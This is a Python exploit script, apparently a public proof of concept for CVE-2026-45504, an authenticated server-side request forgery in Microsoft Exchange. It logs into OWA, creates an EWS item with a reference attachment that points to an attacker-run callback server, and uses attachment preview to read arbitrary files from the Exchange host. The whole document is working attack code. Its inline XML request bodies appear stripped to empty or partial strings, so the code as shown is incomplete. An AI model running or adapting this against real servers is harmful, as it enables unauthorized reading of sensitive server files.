#!/usr/bin/env python3
import argparse
import re
import sys
import threading
import urllib.parse
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests
from requests_ntlm import HttpNtlmAuth
requests.packages.urllib3.disable_warnings()
def parse_args():
p = argparse.ArgumentParser(description="exchange ssrf via file read")
p.add_argument("--attacker-ip", required=True, help="attacker ip ssrf callback")
p.add_argument("--attacker-port", type=int, default=8780, help="attacker port")
p.add_argument(
"--creds", required=True, metavar="[DOMAIN\\]USER", help="DOMAIN\\username"
)
p.add_argument("--password", required=True, help="Account password")
p.add_argument("--target-file", default="C:/windows/win.ini", help="target file")
p.add_argument(
"--target", default="https://192.168.2.145", help="target https://192.168.2.145"
)
args = p.parse_args()
if "\\" in args.creds:
args.domain, args.user = args.creds.split("\\", 1)
else:
args.domain, args.user = "", args.creds
return args
ARGS = parse_args()
TARGET = ARGS.target
ATTACKER_IP = ARGS.attacker_ip
ATTACKER_PORT = ARGS.attacker_port
DOMAIN = ARGS.domain
USER = ARGS.user
PASS = ARGS.password
TARGET_FILE = ARGS.target_file
PRINCIPAL = f"{DOMAIN}\\{USER}" if DOMAIN else USER
NTLM = HttpNtlmAuth(PRINCIPAL, PASS)
_current_path = TARGET_FILE
class CallbackHandler(BaseHTTPRequestHandler):
def log_message(self, *a):
pass
def do_GET(self):
escaped = _current_path.replace(" ", "%20")
body = (
''
''
f"file:///{escaped}#"
"x"
"3600"
""
).encode()
self.send_response(200)
self.send_header("Content-Type", "application/xml; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def login():
s = requests.Session()
s.verify = False
r = s.post(
f"{TARGET}/owa/auth.owa",
data={
"destination": f"{TARGET}/owa/",
"flags": "4",
"forcedownlevel": "0",
"username": PRINCIPAL,
"password": PASS,
"isUtf8": "1",
},
allow_redirects=False,
timeout=2000,
)
location = r.headers.get("Location", "")
if "reason=2" in location or "logon.aspx" in location.lower():
raise Exception("err: login failed")
s.get(f"{TARGET}/owa/", allow_redirects=True, timeout=20)
canary = next((c.value for c in s.cookies if "canary" in c.name.lower()), None)
if not canary:
raise Exception("err: login failed")
return s, canary
def attach(base_url):
r = requests.post(
f"{TARGET}/ews/exchange.asmx",
data=b"""
lfix
""",
headers={"Content-Type": "text/xml; charset=utf-8"},
auth=NTLM,
verify=False,
timeout=2000,
)
m = re.search(r'Id="([A-Za-z0-9+/=]+)".*?ChangeKey="([A-Za-z0-9+/=]+)"', r.text)
if not m:
raise Exception("err: create item")
item_id, item_ck = m.group(1), m.group(2)
r2 = requests.post(
f"{TARGET}/ews/exchange.asmx",
data=f"""
doc.docx
{base_url}/doc.docx
OneDrivePro
{base_url}/
""".encode(),
headers={"Content-Type": "text/xml; charset=utf-8"},
auth=NTLM,
verify=False,
timeout=2000,
)
m2 = re.search(r'Id="([A-Za-z0-9+/=]+)".*?RootItemId', r2.text)
if not m2:
raise Exception("err: create attachment")
return m2.group(1)
def read_file(session, canary, att_id):
enc = urllib.parse.quote(att_id, safe="")
r = session.post(
f"{TARGET}/owa/service.svc?action=GetAttachmentPreview&id={enc}",
data="{}",
headers={
"Content-Type": "application/json; charset=utf-8",
"X-OWA-CANARY": canary,
"Action": "GetAttachmentPreview",
},
verify=False,
timeout=2000,
)
return r.content
def main():
print(r"""
_ _ _
| | | | | |
| |__ __ ___ _| | _| |_ _ __ __ _ ___ ___
| '_ \ / _` \ \ /\ / / |/ / __| '__/ _` |/ __/ _ \
| | | | (_| |\ V V /| <| |_| | | (_| | (_| __/
|_| |_|\__,_| \_/\_/ |_|\_\\__|_| \__,_|\___\___|
Batuhan Er @int20z
CVE-2026-45504 Microsoft Exchange File Read
""")
srv = HTTPServer(("0.0.0.0", ATTACKER_PORT), CallbackHandler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
print(f"[*] Target file : {TARGET_FILE}")
print(f"[*] User : {PRINCIPAL}")
session, canary = login()
print(f"[+] OWA login OK")
att_id = attach(f"http://{ATTACKER_IP}:{ATTACKER_PORT}")
print(f"[+] Attachment : {att_id[:40]}...")
content = read_file(session, canary, att_id)
srv.shutdown()
if content:
print(f"[+] File read OK ({len(content)} bytes)\n")
print(content.decode("utf-8", errors="replace"))
else:
print("[-] err: empty response")
if __name__ == "__main__":
try:
main()
except Exception as e:
print(f"[-] {e}")
sys.exit(1)